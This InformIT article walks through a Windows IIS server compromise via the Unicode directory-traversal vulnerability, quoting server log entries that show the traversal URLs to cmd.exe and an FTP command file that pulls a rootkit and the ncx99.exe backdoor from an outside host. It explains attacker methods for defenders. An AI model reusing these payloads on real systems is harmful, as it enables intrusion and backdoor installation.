Home > Articles > Programming > Windows Programming

Like this article? We recommend

Like this article? We recommend

Hacker Scripts

Before we get into the second part of this story, it is important that you understand the methods and tricks that the hackers used when they attempted to take over this server. While I say that this server was owned by more than 10 hackers, they all used the same basic vulnerability and method of attack to gain access to the server. In fact, some of the hackers used the same basic scripts to deal with the details of installing the root kit, saving them from having to manually type the commands.

By far, this server was mostly owned by script kiddies, not true hackers. While the terms are often blurred, these so-called "hackers" were not out to control the data or programs on the server. In fact, I would be willing to bet that not one of them directly targeted this server, but they all discovered it as a result of a vulnerability scanner. Then, depending on the scanner or script used to detect the vulnerability, they either came back and took advantage of the Unicode exploit to install their root kit or they had the root kit installed by the script for them. These root kits often come prepackaged and ready to go, so a "hack" can take as little as three commands and can occur in less than 5 seconds. The first step is to test the server for the vulnerability, the second is to download the root kit to the server, and the third is to install the back door on the server. To illustrate, the URLs in Listing 7 (as found in the Web server's log files) illustrate this three-part hack.

Listing 1-7: The Minimal URLs Required to Own a Server with the Unicode Vulnerability


While this is one example, most scripts involve a sequence of more complicated steps before the server is owned. The following illustrates another hack attack and explains what each step does and why it is used. We will discuss these parts in the order in which they are most likely performed.

The first part of any hack attack is to gain access to the server. This is required so that the root kit can be downloaded. Fortunately for a hacker, there are thousands of potentially exploitable back doors. In the case of my client's server, hackers used the Unicode vulnerability to gain control of the Web server software. The following log entry shows one such script probing for the Unicode vulnerability on my client's server. (Note: This is one log entry, but it was broken into three lines due to display requirements.) I am assuming that this is a script because the log file shows mere seconds between command. In other words, this is either a very quick-typing hacker or a script that automates the hacking process.

217.153.XXX.XX, -, 10/30/02, 18:24:06, W3SVC, 
EXCHANGE, 64.3.XXX.XX, 32, 149, 2079, 200, 0, 
GET, /scripts/..%5c..%5cwinnt/system32/cmd.exe, /c+dir+c:\+, 

As we look as this log entry, we can see where the request was coming from, where it was targeted to, and the URL that was sent. Here we see a variation on the Unicode vulnerability that simply lists the c:\ directory on the victim. The results will be sent back to the client computer (Hacker), which is basically testing to see if the server is vulnerable.

The next step of the process is to download a root kit and other files needed to gain control of the server. Again, our log file provides us with a good example. In this case, the script creates a file used to FTP the files down to the server. Due to the numerous files downloaded to the server, there was about one page of log entries; therefore, we have taken the liberty of summarizing them.

First, the script creates a new folder hidden within the c:\Inetpub directory into which the root kit is eventually placed:

217.153.xxx.xxx, -, 10/30/02, 18:25:32, W3SVC, EXCHANGE, 
64.3.xxx.xxx, 16, 177, 304, 200, 0, GET, /scripts/
..%5c..%5cwinnt/system32/cmd.exe, /c+mkdir+c:\Inetpub\

Next the script creates a copy of the cmd.exe file and places it in a newly created directory:

217.153.xxx.xxx, -, 10/30/02, 18:25:32, W3SVC, EXCHANGE, 
64.3.xxx.xxx, 62, 211, 331, 200, 0, GET, /scripts/
..%5c..%5cwinnt/system32/cmd.exe, /c+copy+

Now the script ensures that there is no pre-existing file named default.txt in the folder by deleting any file by this name that does exist (another hint this is a script):

217.153.xxx.xxx, -, 10/30/02, 18:25:34, W3SVC, EXCHANGE, 
64.3.xxx.xxx, 141, 200, 362, 200, 0, GET, /scripts/

Then the script creates a new default.txt file and starts writing lines of text into it.

217.153.xxx.xxx, -, 10/30/02, 18:25:34, W3SVC, EXCHANGE, 
64.3.xxx.xxx, 16, 221, 304, 200, 0, GET, /scripts/
..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, /c+echo+open+>>c:\Inetpub\mailroot\drop\temp\default.txt+, 

Using the same general URL, the lines in Listing 8 were also written into the default.txt file.

Listing 1-8: Text Lines Written to the default.txt File

Open 65.40.xxx.xxx 
user anonymous >> default.txt 
echo lol@lol.com >> default.txt
echo cd+rapport/backup >> default.txt
get reboot.exe >> default.txt
get TzoLibr.dll >> default.txt
echo get ServUDaemon.ini >> default.txt
echo get ServUCert.key >> default.txt
get ServUCert.crt >> default.txt 
get rundlls32.exe >> default.txt
echo get ncx99.exe >> default.txt
echo get kill.exe >> default.txt
echo get tasklist.exe >>default.txt
echo quit >> default.txt 

Once all the lines were written to the file, it is easy to see that the script creates a complete FTP command file. The next URL that the script sends to the server includes a command to execute FTP, using this file as its command list:

217.153.xxx.xxx, -, 10/30/02, 18:34:31, W3SVC, EXCHANGE, 
64.3.xxx.xxx, 525250, 212, 304, 200, 0, GET, /scripts/
..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, /c+ftp+-i+-v+-n+-s:

Next the attack script continues to check the progress of the download by using a URL containing a dir command to list the files in the folder. Once the script detects the existence of all the files it expects to be downloaded, it builds another file used to set up a back-door FTP server. In this case, the script will be using Servu-FTP, which is the most common FTP server used by hackers.

In short, the FTP setup file, named servustartuplog.txt, must contain paths to the directories that it will be providing access to. To maximize the impact of the serving capabilities, the script simply lists every drive letter from c to z. If there is a CD-ROM or mapped drive on the server, all the better for the hacker who uses the FTP server.

The final step in this process is to execute the recently downloaded files, which set up and install the FTP server, and create and install the back-door ncx99.exe file. This is done using another URL using a call command, or through directly executing the executable on the host. The server is now owned. Depending on the script, some of the installation files may be deleted and log files may be wiped. Regardless, it takes only a few minutes to download and install a fully operational root kit that provides file-sharing and remote-control capabilities to any hacker who connects.

InformIT Promotional Mailings & Special Offers

I would like to receive exclusive offers and hear about products from InformIT and its family of brands. I can unsubscribe at any time.


Pearson Education, Inc., 221 River Street, Hoboken, New Jersey 07030, (Pearson) presents this site to provide information about products and services that can be purchased through this site.

This privacy notice provides an overview of our commitment to privacy and describes how we collect, protect, use and share personal information collected through this site. Please note that other Pearson websites and online products and services have their own separate privacy policies.

Collection and Use of Information

To conduct business and deliver products and services, Pearson collects and uses personal information in several ways in connection with this site, including:

Questions and Inquiries

For inquiries and questions, we collect the inquiry or question, together with name, contact details (email address, phone number and mailing address) and any other additional information voluntarily submitted to us through a Contact Us form or an email. We use this information to address the inquiry and respond to the question.

Online Store

For orders and purchases placed through our online store on this site, we collect order details, name, institution name and address (if applicable), email address, phone number, shipping and billing addresses, credit/debit card information, shipping options and any instructions. We use this information to complete transactions, fulfill orders, communicate with individuals placing orders or visiting the online store, and for related purposes.


Pearson may offer opportunities to provide feedback or participate in surveys, including surveys evaluating Pearson products, services or sites. Participation is voluntary. Pearson collects information requested in the survey questions and uses the information to evaluate, support, maintain and improve products, services or sites, develop new products and services, conduct educational research and for other purposes specified in the survey.

Contests and Drawings

Occasionally, we may sponsor a contest or drawing. Participation is optional. Pearson collects name, contact information and other information specified on the entry form for the contest or drawing to conduct the contest or drawing. Pearson may collect additional personal information from the winners of a contest or drawing in order to award the prize and for tax reporting purposes, as required by law.


If you have elected to receive email newsletters or promotional mailings and special offers but want to unsubscribe, simply email information@informit.com.

Service Announcements

On rare occasions it is necessary to send out a strictly service related announcement. For instance, if our service is temporarily suspended for maintenance we might send users an email. Generally, users may not opt-out of these communications, though they can deactivate their account information. However, these communications are not promotional in nature.

Customer Service

We communicate with users on a regular basis to provide requested services and in regard to issues relating to their account we reply via email or phone in accordance with the users' wishes when a user submits their information through our Contact Us form.

Other Collection and Use of Information

Application and System Logs

Pearson automatically collects log data to help ensure the delivery, availability and security of this site. Log data may include technical information about how a user or visitor connected to this site, such as browser type, type of computer/device, operating system, internet service provider and IP address. We use this information for support purposes and to monitor the health of the site, identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents and appropriately scale computing resources.

Web Analytics

Pearson may use third party web trend analytical services, including Google Analytics, to collect visitor information, such as IP addresses, browser types, referring pages, pages visited and time spent on a particular site. While these analytical services collect and report information on an anonymous basis, they may use cookies to gather web trend information. The information gathered may enable Pearson (but not the third party web trend services) to link information with application and system log data. Pearson uses this information for system administration and to identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents, appropriately scale computing resources and otherwise support and deliver this site and its services.

Cookies and Related Technologies

This site uses cookies and similar technologies to personalize content, measure traffic patterns, control security, track use and access of information on this site, and provide interest-based messages and advertising. Users can manage and block the use of cookies through their browser. Disabling or blocking certain cookies may limit the functionality of this site.

Do Not Track

This site currently does not respond to Do Not Track signals.


Pearson uses appropriate physical, administrative and technical security measures to protect personal information from unauthorized access, use and disclosure.


This site is not directed to children under the age of 13.


Pearson may send or direct marketing communications to users, provided that

  • Pearson will not use personal information collected or processed as a K-12 school service provider for the purpose of directed or targeted advertising.
  • Such marketing is consistent with applicable law and Pearson's legal obligations.
  • Pearson will not knowingly direct or send marketing communications to an individual who has expressed a preference not to receive marketing.
  • Where required by applicable law, express or implied consent to marketing exists and has not been withdrawn.

Pearson may provide personal information to a third party service provider on a restricted basis to provide marketing solely on behalf of Pearson or an affiliate or customer for whom Pearson is a service provider. Marketing preferences may be changed at any time.

Correcting/Updating Personal Information

If a user's personally identifiable information changes (such as your postal address or email address), we provide a way to correct or update that user's personal data provided to us. This can be done on the Account page. If a user no longer desires our service and desires to delete his or her account, please contact us at customer-service@informit.com and we will process the deletion of a user's account.


Users can always make an informed choice as to whether they should proceed with certain services offered by InformIT. If you choose to remove yourself from our mailing list(s) simply visit the following page and uncheck any communication you no longer want to receive: www.informit.com/u.aspx.

Sale of Personal Information

Pearson does not rent or sell personal information in exchange for any payment of money.

While Pearson does not sell personal information, as defined in Nevada law, Nevada residents may email a request for no sale of their personal information to NevadaDesignatedRequest@pearson.com.

Supplemental Privacy Statement for California Residents

California residents should read our Supplemental privacy statement for California residents in conjunction with this Privacy Notice. The Supplemental privacy statement for California residents explains Pearson's commitment to comply with California law and applies to personal information of California residents collected in connection with this site and the Services.

Sharing and Disclosure

Pearson may disclose personal information, as follows:

  • As required by law.
  • With the consent of the individual (or their parent, if the individual is a minor)
  • In response to a subpoena, court order or legal process, to the extent permitted or required by law
  • To protect the security and safety of individuals, data, assets and systems, consistent with applicable law
  • In connection the sale, joint venture or other transfer of some or all of its company or assets, subject to the provisions of this Privacy Notice
  • To investigate or address actual or suspected fraud or other illegal activities
  • To exercise its legal rights, including enforcement of the Terms of Use for this site or another contract
  • To affiliated Pearson companies and other companies and organizations who perform work for Pearson and are obligated to protect the privacy of personal information consistent with this Privacy Notice
  • To a school, organization, company or government agency, where Pearson collects or processes the personal information in a school setting or on behalf of such organization, company or government agency.


This web site contains links to other sites. Please be aware that we are not responsible for the privacy practices of such other sites. We encourage our users to be aware when they leave our site and to read the privacy statements of each and every web site that collects Personal Information. This privacy statement applies solely to information collected by this web site.

Requests and Contact

Please contact us about this Privacy Notice or if you have any requests or questions relating to the privacy of your personal information.

Changes to this Privacy Notice

We may revise this Privacy Notice through an updated posting. We will identify the effective date of the revision in the posting. Often, updates are made to provide greater clarity or to comply with changes in regulatory requirements. If the updates involve material changes to the collection, protection, use or disclosure of Personal Information, Pearson will provide notice of the change through a conspicuous notice on this site or other appropriate way. Continued use of the site after the effective date of a posted revision evidences acceptance. Please contact us if you have questions or concerns about the Privacy Notice or any objection to any revisions.

Last Update: November 17, 2020